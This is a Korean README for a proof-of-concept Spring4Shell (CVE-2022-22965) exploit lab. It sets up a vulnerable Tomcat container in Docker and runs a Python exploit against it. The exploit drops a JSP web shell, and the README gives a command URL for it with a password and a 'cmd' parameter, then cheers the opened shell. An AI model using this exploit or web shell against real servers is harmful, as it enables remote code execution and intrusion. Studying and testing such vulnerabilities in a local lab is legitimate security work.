
이것은 CVE-2022-22965 (spring4shell) 취약점에 대한 익스플로잇의 개념 증명(PoC)입니다. 다음으로 구성됩니다:
프로젝트 루트 폴더 안에는 tomcat 이미지를 생성하고 vulnerable_app/target/spring4shell.war 및 safe_app/target/safeapp.war 파일을 /usr/local/tomcat/webapps 폴더 안으로 복사하는 Dockerfile이 있습니다. 따라서 이미지를 빌드하고 컨테이너를 시작하기만 하면 됩니다.
docker build -t cve_2022_22965 .
docker run -p 8080:8080 -d --name springshell cve_2022_22965
curl --location --request POST http://localhost:8080/spring4shell/vulnerability/exploit?name=Elliot%20Alderson
이 응답이 표시되면
This is Elliot Alderson
그러면 애플리케이션이 정상적으로 실행 중인 것입니다.
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit
삽입할 jsp 파일 이름을 선택적으로 지정할 수 있지만 필수는 아닙니다. 예시
cd exploits
python spring4shell.py http://localhost:8080/spring4shell/vulnerability/exploit -f exploit.jsp
이름을 지정하지 않으면 임의의 이름이 생성됩니다.
명령 셸에서 다음을 볼 수 있습니다.

익스플로잇 후에는 HTTP GET 요청을 통해서도 명령을 보낼 수 있습니다.
http://localhost:8080/exploit.jsp?pwd=pass&cmd=ls
피해자 머신에서 셸을 성공적으로 열었습니다! 즐기세요.